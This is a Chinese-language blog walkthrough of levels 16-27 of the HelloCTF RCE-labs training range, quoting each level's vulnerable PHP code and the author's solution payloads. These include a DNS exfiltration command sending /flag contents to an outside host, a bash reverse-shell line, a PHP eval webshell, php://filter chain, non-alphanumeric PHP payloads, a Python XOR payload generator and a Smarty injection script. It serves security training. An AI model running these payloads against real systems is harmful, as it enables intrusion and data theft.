4374 字
22 分钟
rce-labs level16-27
level 16
<?php/*# -*- coding: utf-8 -*-# @Author: 探姬# @Date: 2024-08-11 14:34# @Repo: github.com/ProbiusOfficial/RCE-labs# @email: admin@hello-ctf.com# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 命令执行 - 长度限制_4字符RCE ---
*/
$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);@mkdir($sandbox);@chdir($sandbox);if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 4) { @exec($_GET['cmd']);} else if (isset($_GET['reset'])) { @exec('/bin/rm -rf ' . $sandbox);}
highlight_file(__FILE__);
?>和上一关一个待遇
level 17
<?phpsession_start();/*# -*- coding: utf-8 -*-# @Author: 探姬# @Date: 2024-08-11 14:34# @Repo: github.com/ProbiusOfficial/RCE-labs# @email: admin@hello-ctf.com# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 命令执行 - PHP命令执行函数 ---
喵喵喵ww https://www.php.net/manual/zh/ref.exec.php
system() 函数用于在系统权限允许的情况下执行系统命令(Windows 和 Linux 系统均可执行)。eg:system('cat /etc/passwd');exec() 函数可以执行系统命令,但不会直接输出结果,而是将结果保存到数组中。eg:exec('cat /etc/passwd', $result); print_r($result);shell_exec() 函数执行系统命令,但返回一个字符串类型的变量来存储系统命令的执行结果。eg:echo shell_exec('cat /etc/passwd');passthru() 函数执行系统命令并将执行结果输出到页面中,支持二进制数据。eg:passthru('cat /etc/passwd');popen() 函数执行系统命令,但返回一个资源类型的变量,需要配合 fread() 函数读取结果。eg:$result = popen('cat /etc/passwd', 'r'); echo fread($result, 100);反引号 用于执行系统命令,返回一个字符串类型的变量来存储命令的执行结果。eg:echo \cat /etc/passwd`;`
在该关卡中,你将会从能够执行系统命令的PHP函数中抽取一个,你需要填充函数的内容来执行某些系统命令以获取flag(tip:flag存储在 /flag 中,当然你也可以尝试其他方法)。
*/function hello_ctf($function, $content){ if($function == '``'){ $code = '`'.$content.'`'; echo "Your Code: $code <br>"; eval("echo $code"); }else { $code = $function . "(" . $content . ");"; echo "Your Code: $code <br>"; eval($code); }
}
function get_fun(){
$func_list = ['system', 'exec', 'shell_exec', 'passthru', 'popen','``'];
if (!isset($_SESSION['random_func'])) { $_SESSION['random_func'] = $func_list[array_rand($func_list)]; }
$random_func = $_SESSION['random_func'];
$url_fucn = preg_replace('/_/', '-', $_SESSION['random_func']);
echo $random_func == '``' ? "获得隐藏运算符: 执行运算符 ,去 https://www.php.net/manual/zh/language.operators.execution.php 详情。<br>" : "获得新的函数: $random_func ,去 https://www.php.net/manual/zh/function.".$url_fucn.".php 查看函数详情。<br>";
return $_SESSION['random_func'];}
function start($act){
$random_func = get_fun();
if($act == "r"){ /* 通过发送GET ?action=r 的方式可以重置当前选中的函数 —— 或者你可以自己想办法可控它x */ session_unset(); session_destroy(); }
if ($act == "submit"){ $user_content = $_POST['content']; hello_ctf($random_func, $user_content); }}
isset($_GET['action']) ? start($_GET['action']) : '';
highlight_file(__FILE__);
?>和level 2类似,关键词:替换
| 函数 | 说明 | 示例代码 |
|---|---|---|
system() | system() 函数用于在系统权限允许的情况下执行系统命令(Windows 和 Linux 系统均可执行)。 | system('cat /etc/passwd'); |
exec() | exec() 函数可以执行系统命令,但不会直接输出结果,而是将结果保存到数组中。 | exec('cat /etc/passwd', $result); print_r($result); |
shell_exec() | shell_exec() 函数执行系统命令,但返回一个字符串类型的变量来存储系统命令的执行结果。 | echo shell_exec('cat /etc/passwd'); |
passthru() | passthru() 函数执行系统命令并将执行结果输出到页面中,支持二进制数据。 | passthru('cat /etc/passwd'); |
popen() | popen() 函数执行系统命令,但返回一个资源类型的变量,需要配合 fread() 函数读取结果。 | $result = popen('cat /etc/passwd', 'r'); echo fread($result, 100); |
| 反引号 “ | 反引号用于执行系统命令,返回一个字符串类型的变量来存储命令的执行结果。注意:关闭了 shell_exec() 时反引号运算符是无效的 | echo `cat /etc/passwd` |
直接执行命令
payload:
passthru('cat /flag');system('cat /flag');shell_exec('cat /flag');exec('cat /flag > 1.txt');DNS外带(使用Base64编码并指定公共DNS服务器)
ping,curl都不成功,使用nslookup似乎跟直接
payload:
content='nslookup `cat /flag | base64 | tr -d "\n" | head -c 50`.fdmsda.ceye.io'弹shell
bash -i >& /dev/tcp/ip/your_port 0>&1level 18
Warning: Invalid argument supplied for foreach() in /var/www/html/index.php on line 15hello <?php/*# -*- coding: utf-8 -*-# @Author: 探姬# @Date: 2024-08-11 14:34# @Repo: github.com/ProbiusOfficial/RCE-labs# @email: admin@hello-ctf.com# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 命令执行 - 环境变量注入 ---
来源:P牛2022的文章【我是如何利用环境变量注入执行任意命令】https://www.leavesongs.com/PENETRATION/how-I-hack-bash-through-environment-injection.html
*/foreach($_REQUEST['envs'] as $key => $val) { putenv("{$key}={$val}");}
system('echo hello');
highlight_file(__FILE__);
?>环境变量注入RCE,参考我是如何利用环境变量注入执行任意命令
漏洞利用原理:Bash 函数劫持
原理概述
Bash Shell 有一个特性:它允许将函数定义存储在环境变量中,并导出给子进程。Bash 在启动时,会扫描所有环境变量,寻找特定格式的变量名,并将其注册为内部函数。
- 识别格式:Bash 识别导出的函数的格式为:
BASH_FUNC_函数名%%。 - 命令优先级:当 Bash 执行命令时,其优先级顺序为:函数 > 内置命令 > 外部程序(如
/bin/echo)。 - 攻击实现:
- 我们在环境变量中定义一个名为
echo的恶意函数,函数体是cat /flag。 - 当 PHP 执行
system('echo hello')时,Bash 启动并加载了这个恶意的echo函数。 - Bash 运行时,发现用户想执行
echo,于是它执行了优先级更高的我们定义的函数,从而执行了cat /flag,实现了命令注入。
- 我们在环境变量中定义一个名为
构造 Payload
目标
劫持 echo 命令,执行 /bin/cat /flag。
| 组件 | 内容 | 作用 |
|---|---|---|
| 注入参数名 (Key) | envs[BASH_FUNC_echo%%] | 告诉 PHP 要设置的数组键,其值将成为环境变量名。 |
| 环境变量 Key | BASH_FUNC_echo%% | 告知 Bash 这是一个名为 echo 的函数定义。 |
| 环境变量 Value | () { cat /flag; } | 恶意函数体。 () 定义函数,{} 包含命令。 |
payload
?envs%5BBASH_FUNC_echo%25%25%5D=()%20{%20cat%20/flag;%20}level 19
<?php/*# -*- coding: utf-8 -*-# @Author: 探姬# @Date: 2024-08-11 14:34# @Repo: github.com/ProbiusOfficial/RCE-labs# @email: admin@hello-ctf.com# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 文件写入导致的RCE ---
https://www.php.net/manual/zh/function.file-put-contents.php
参考可以写入的内容:<?php @eval($_POST['a']); ?>
*/
function helloctf($code){ $code = "file_put_contents(".$code.");"; eval($code);}
isset($_GET['c']) ? helloctf($_GET['c']) : '';
highlight_file(__FILE__);
?>用标准解法行不通
?c='1.php','<?php @eval($_POST["a"]); ?>'所以用的是先包裹住这个方法再调用system函数
?c=1)%3B%20system('cat%20%2Fflag')%3B%20%2F%2Flevel 20
上传一个一句话木马,然后连接蚁剑就好了
level 21
<?php/*# -*- coding: utf-8 -*-# @Author: 探姬# @Date: 2024-08-11 14:34# @Repo: github.com/ProbiusOfficial/RCE-labs# @email: admin@hello-ctf.com# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 文件包含导致的RCE ---
allow_url_fopen = Onallow_url_include = On默认全开的环境,可以尝试多种解法,若对此存有疑问,尝试去 github.com/ProbiusOfficial/PHPinclude-labs 了解更多文件包含的知识。
远程文件包含可用链接(<?php @eval($_POST['a']); ?>):https://raw.githubusercontent.com/ProbiusOfficial/PHPinclude-labs/main/RFIhttps://gitee.com/Probius/PHPinclude-labs/raw/main/RFI
FilterChain的Payload生成器:https://probiusofficial.github.io/PHP-FilterChain-Exploit//exp.php
注意:在本关卡中你传递的内容将以字符串的方式拼接在 include() 函数中,你需要区别这与 incluude($_GET['file']) 的区别。*/
function helloctf($code){ $code = "include(".$code.");"; echo "Your includeCode : ".$code; eval($code);}
isset($_POST['c']) ? helloctf($_POST['c']) : '';
highlight_file(__FILE__);
?>可以直接包含文件
c='/flag'利用payload生成器生成利用链

c='php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp'&a=system('cat /flag');level 22
<?php/*# -*- coding: utf-8 -*-# @Author: 探姬# @Date: 2024-08-11 14:34# @Repo: github.com/ProbiusOfficial/RCE-labs# @email: admin@hello-ctf.com# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : HP 特性 - 动态调用 ---
PHP 支持在运行时动态构建并且调用函数,在下面的代码中 a可以被作为函数,b可以被作为函数的参数。
try ?a=system&b=ls
*/
isset($_GET['a'])&&isset($_GET['b']) ? $_GET['a']($_GET['b']) : null;
highlight_file(__FILE__);
?>?a=system&b=cat%20%2Fflaglevel 23
<?phperror_reporting(0);/*# -*- coding: utf-8 -*-# @Author: 探姬# @Date: 2024-08-11 14:34# @Repo: github.com/ProbiusOfficial/RCE-labs# @email: admin@hello-ctf.com# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : PHP 特性 - 自增 ---
可用字符:! $ ' ( ) + , . / ; = [ ] _
自增通过一下几个特性实现:变量:在PHP中变量以 $ 开头,后面为变量名称,PHP中变量可以是下划线 _ 开头,所以 $_ 是一个变量,$__ 则是不同的变量,就像 $a 和 $aa 一样。
数组->字符串:在PHP中,非字符串是不能使用 . 符号进行拼接的,当你强制拼接时 PHP 会将非字符串转换为字符串:$_ = 1; var_dump($_); var_dump($_.'');这将会输出:int(1) string(1) "1"但如果 $_ 是一个数组,则会被强制转换为字符串 Array 而无视数组内容。所以 [].'' 表示在空数组后面拼接空字符串,PHP会优先转换类型,从而将数组转换为字符串 Array。
字符串:字符串本质上是一个字符的有序序列,同C语言类似,你可以直接通过索引(或者说下标)的方式直接访问字符串中的字符。$_ = "Hello-CTF";var_dump($_[0]);这将会输出 string(1) "H"所以在 $_ = ([].'')[0]; var_dump($_); 你会得到输出:string(1) "A"
自增:这是一个编程语言中很常见的操作,我们一般在for循环会写到的语句 i++ 或者 ++i,这是一个自增操作,PHP也一样,只不过我们的变量名称不是很常见与之等效的 $_++ 或者 ++$_。当我们对一个字符或者是字母进行自增操作时,PHP会将其转换为ASCII码,然后自增,然后再转换为字符。直观一点 A++ 将会输出 B,Z++ 将会输出 AA。++的位置决定语句的执行顺序,++在前面时会先进行自增操作。 $_ = ([].'')[0]; 在前面时输出B,后面时输出A。
所以通过特性的连用,你可以看到很多自增的Payload长这样:payload=$_=(_/_._)[''=='_'];$_++;$__ = $_++;$__ = $_.$__;$_++;$_++;$_++;$__ = $__.$_++.$_++;$_ = $__;$__ ='_';$__.=$_;$$__[__]($$__[_]);&__=system&_=ls
自增题目的考点通常在Payload的长度限制,挑战关卡,让你的Payload足够短吧。*/
highlight_file(__FILE__);
isset($_POST['code']) ? $code = $_POST['code'] : $code = null;
if(preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/", $code)){ die("WAF!");}else{ echo "Your Payload's Length : ".strlen($code)."<br>"; eval($code);}
?>解法已经写到题目里了
当将一个数组与空白" "组合时,就会变成字符串Array
再利用布尔''=='_',因为两者不相同,所以会回0
于是
$_=([].'')[''=='_'];等同于$_='Array';$_=$_[0];然后利用递增
$_++; //A++=B<?php$_=[].'';//Array$_=$_[''=='$'];//A$_++;//B$_++;//C$_++;//D$_++;//E$__=$_;//E$_++;//F$_++;//G$___=$_;//G$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;//T$_=$___.$__.$_;//GET//var_dump($_);$_='_'.$_;//_GETvar_dump($$_[_]($$_[__]));//$_GET[_]($_GET[__])这样就构造出了一个
$_($__)的语句
payload:(urlencode)
%24_%3D%5B%5D.''%3B%24_%3D%24_%5B''%3D%3D'%24'%5D%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24__%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24___%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24___.%24__.%24_%3B%24_%3D'_'.%24_%3B%24%24_%5B_%5D(%24%24_%5B__%5D)%3B同时发送GET请求
?_=system&__=cat /flaglevel 24
<?phpinclude ("get_flag.php");/*# -*- coding: utf-8 -*-# @Author: 探姬# @Date: 2024-08-11 14:34# @Repo: github.com/ProbiusOfficial/RCE-labs# @email: admin@hello-ctf.com# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : PHP 特性 - 无参命令执行 ---
根据正则表达式的匹配规则,可以看到我们只能输入A(),这样的形式,括号中无法携带参数,但支持多个函数嵌套A(B(C())),这种形式我们称其为无参命令执行。无参命令执行的难度首先是在于无参本身,这需要你利用一些函数特性外带参数绕过限制 —— 这可以从一些获取外部值的函数实现:getallheaders()session_id()...其次是对嵌套参数的处理 —— 当然不局限于外带进来的参数,一些诸如 localeconv() 的函数可以获取内部存在的一些参数如当前目录下面的文件信息等:getchwd() :函数返回当前工作目录。scandir() :函数返回指定目录中的文件和目录的数组。dirname() :函数返回路径中的目录部分。chdir() :函数改变当前的目录。
通常我们获取到的很多情况下是数组,所以有时候比较依赖对数组的操作,比如:- array_reverse():数组反转- pos():输出数组第一个元素- next():指向数组的下一个元素,并输出...
随后是一些文件读取显示的操作:- show_source() - 对文件进行语法高亮显示。- readfile() - 输出一个文件。- highlight_file() - 对文件进行语法高亮显示。- file_get_contents() - 把整个文件读入一个字符串中。- readgzfile() - 可用于读取非 gzip 格式的文件
...你随时可以通过查阅PHP官方手册中函数相关的部分来找到上面类似的内容。*/
function hello_code($code){ if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $code)){ eval($code); }else{ die("O.o"); }
}
isset($_GET['code']) ? hello_code($_GET['code']) : null;
highlight_file(__FILE__);
?>1. 获取数据类 (Input Source)
这一类函数用于引入外部变量或者获取环境信息,是我们突破“无参”限制的源头。
| 函数名 | 作用 | 使用方法与场景 |
|---|---|---|
getallheaders() | 获取所有 HTTP 请求头 (返回数组)。 | 最强 RCE 函数(仅限 Apache)。 配合 end() 或 next(),你可以把恶意命令写在 HTTP Header 里(如 User-Agent 或自定义头),然后读取它并执行。 Payload: system(end(getallheaders())); |
get_defined_vars() | 获取所有已定义变量 (返回多维数组)。 | 当 getallheaders 不可用时(如 Nginx),用它来获取 $_GET, $_POST, $_FILES。配合 current() 等函数提取参数。 Payload: eval(end(current(get_defined_vars()))); (需要配合 GET 参数) |
session_id() | 获取/设置当前 Session ID (返回字符串)。 | 需要配合 session_start()。攻击者可以在 Cookie 中设置 PHPSESSID=flag.php,然后由脚本读入。 Payload: show_source(session_id(session_start())); |
getcwd() | 获取当前工作目录 (返回字符串)。 | 基础函数。通常作为 scandir() 的参数。 Payload: scandir(getcwd()); |
localeconv() | 获取数字格式信息 (返回数组)。 | 黑科技。该数组第一个元素通常是 . (小数点)。用它来代替 getcwd() 或表示当前目录。 Payload: scandir(pos(localeconv())); (等同于 scandir('.')) |
phpversion() | 获取 PHP 版本 (返回字符串)。 | 如果需要构造数字(例如利用版本号中的数字)或仅仅作为填充物时使用。 |
2. 数据操作类 (Data Manipulation)
这一类函数用于操作数组指针,帮助我们从数组中精准地“抓取”我们想要的那个元素(比如 flag.php)。
| 函数名 | 作用 | 使用技巧 |
|---|---|---|
end() | 将指针移到最后一个元素并返回。 | 当 getallheaders() 的最后一个 Header 是恶意命令,或者文件名排序后 flag.php 在最后时使用。 |
current() / pos() | 返回数组当前(第一个)元素。 | 获取数组头部元素,常配合 localeconv() 获取 .。 |
next() | 指针后移一位并返回。 | 数组通常以 . 和 .. 开头,需要用 next() 跳过它们去读取真实文件。 |
prev() | 指针前移一位并返回。 | 与 end() 配合使用,读取倒数第二个元素。 |
array_reverse() | 翻转数组。 | 当目标文件在数组开头,但你想用 next() 去够它时;或者它在结尾,你想把它翻转到开头来读取。 |
array_flip() | 交换键和值。 | 配合 array_rand() 使用。因为 array_rand 返回键名,我们需要把文件名变成键名。 |
array_rand() | 随机返回一个键名。 | 当你实在无法控制指针指向某个特定文件时,用它来“碰运气”。 |
3. 最终执行类 (Execution / Sink)
这一类函数是利用链的终点。
| 函数名 | 作用 | 注意事项 |
|---|---|---|
show_source() | 语法高亮显示文件内容。 | 别名 highlight_file()。读取 Flag 的首选。 |
readfile() | 输出文件内容。 | 也是读取文件的标准函数。 |
file_get_contents() | 读取文件到字符串。 | 通常需要配合 echo 或 var_dump 显示,否则看不到回显。 |
system() / eval() | 执行系统命令或 PHP 代码。 | 只有当你能通过 getallheaders 或 session_id 引入任意字符串时,才能使用这些 RCE 函数。 |
payload:
?code=show_source(array_rand(array_flip(scandir(getcwd()))));?code=system(next(getallheaders()));//抓包,在 HTTP Header 中添加一行: User-Agent: ls / (或者其他位置,取决于 next 指向哪里)。 这将直接执行 ls / 命令?code=show_source(session_id(session_start()));//抓包,修改 Cookie 为: Cookie: PHPSESSID=/flag (或者 flag.php 的十六进制形式,如果 WAF 拦截点号)。 这将读取 /flag 文件。level 25
<?php/*# -*- coding: utf-8 -*-# @Author: 探姬# @Date: 2024-08-11 14:34# @Repo: github.com/ProbiusOfficial/RCE-labs# @email: admin@hello-ctf.com# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : PHP 特性 - 取反绕过 ---
注*:推荐先完成 无参命令注入部分题目 后再来尝试这一题。
取反题目实际上就是无参命令执行的一个变种,我们可以通过取反的方式来绕过正则表达式的匹配规则,已经有成熟的脚本就不多做说明了。
脚本仓库:https://github.com/ProbiusOfficial/PHP-inversionhttps://probiusofficial.github.io/PHP-inversion/题目提供一个在线的页面脚本来辅助你完成该题目:/exp.html
*/
function hello_code($code){ if(preg_match("/[A-Za-z0-9]+/", $code)){ die("WAF!"); } eval($code);}
isset($_GET['code']) ? hello_code($_GET['code']) : null;
highlight_file(__FILE__);
?>payload:
?code=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98);level 26
<?php/*\# -*- coding: utf-8 -*-\# @Author: 探姬\# @Date: 2024-08-11 14:34\# @Repo: github.com/ProbiusOfficial/RCE-labs\# @email: admin@hello-ctf.com\# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : PHP 特性 - 无字母数字的代码执行 ---
参考和依据的文章:https://xz.aliyun.com/t/8107
*/
highlight_file(__FILE__);
isset($_POST['code']) ? $code = $_POST['code'] : $code = null;
if(preg_match("/[a-z0-9]/is", $code)){ die("WAF!");}else{ echo "Your Payload's Length : ".strlen($code)."<br>"; eval($code);}
?>附上脚本
import reimport urllib.parse # Python 3 中通常用 parseimport sys
# 1. 设置允许的字符白名单 (根据正则逻辑反向筛选)a = []for i in range(0, 256): c = chr(i) # 正则:过滤了数字、字母、异或符号、加号、取反、美元符、括号、花括号、与号、减号 # 注意:如果靶场WAF真的过滤了 '^' (异或符),那么生成的Payload可能也无法传输,除非WAF只在解码前检测 tmp = re.match(r'[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-', c, re.I) if (tmp): continue else: a.append(i)
# ==========================================# 2. 这里改为用户输入# ==========================================try: print("--- PHP异或Payload生成器 ---") mya = input("请输入函数名 (例如 system): ").strip() myb = input("请输入参数 (例如 ls /): ").strip()except KeyboardInterrupt: sys.exit("\n用户取消输入")
# 全局变量初始化ans1 = ""ans2 = ""
def myfun(k, target_str): global ans1 global ans2 # 遍历白名单中的字符,寻找两个字符的异或结果等于目标字符 for i in range(0, len(a)): for j in range(0, len(a)): # 修改为从0开始,以获得更多组合可能 if (a[i] ^ a[j] == ord(target_str[k])): ans1 += chr(a[i]) ans2 += chr(a[j]) return
# ==========================================# 3. 生成函数名部分 (例如 system)# ==========================================ans1 = ""ans2 = ""for x in range(0, len(mya)): myfun(x, mya)
# 构造 data1: ('xxx'^'xxx')payload_func = "('" + urllib.parse.quote(ans1) + "'^'" + urllib.parse.quote(ans2) + "')"print(f"\n[+] 函数部分 Payload ({mya}):")print(payload_func)
# ==========================================# 4. 生成参数部分 (例如 ls)# ==========================================ans1 = ""ans2 = ""for k in range(0, len(myb)): myfun(k, myb)
# 构造 data2: ('xxx'^'xxx')payload_args = "('" + urllib.parse.quote(ans1) + "'^'" + urllib.parse.quote(ans2) + "')"print(f"\n[+] 参数部分 Payload ({myb}):")print(payload_args)
# ==========================================# 5. 最终拼接# ==========================================print("\n[!] 最终完整 Payload:")# 格式: (函数)(参数); -> (system)(ls);final_payload = f"{payload_func}{payload_args};"print(final_payload)level 27
require 'vendor/autoload.php';use Smarty\Smarty;$smarty = new Smarty();
if (isset($_GET['page']) && gettype($_GET['page']) === 'string') { $file_path = "file://" . getcwd() . "/pages/" . $_GET['page']; $smarty->display($file_path);} else { header('Location: /?page=home');};不会
import hashlibimport requestsfrom urllib.parse import quote
URL = ""cwd = '/app'
target_file = '../{Closure::fromCallable(system)->__invoke("cat /flag-*")}/../../pages/about'w1 = requests.get(URL + "?page=" + quote(target_file))print(w1.status_code)print(w1.text)
filehash = hashlib.sha1(f"//{cwd}/pages/{target_file}{cwd}/templates/".encode())template_c_file = filehash.hexdigest() + "_0.file_" + target_file.split("/")[-1] + ".php"template_c_file_path = "../templates_c/" + template_c_file
w2 = requests.get(URL + "?page=" + template_c_file_path)print(w2.status_code)print(w2.text) rce-labs level16-27
https://btop251.vercel.app/posts/ctf/rce-labs02/ 部分信息可能已经过时









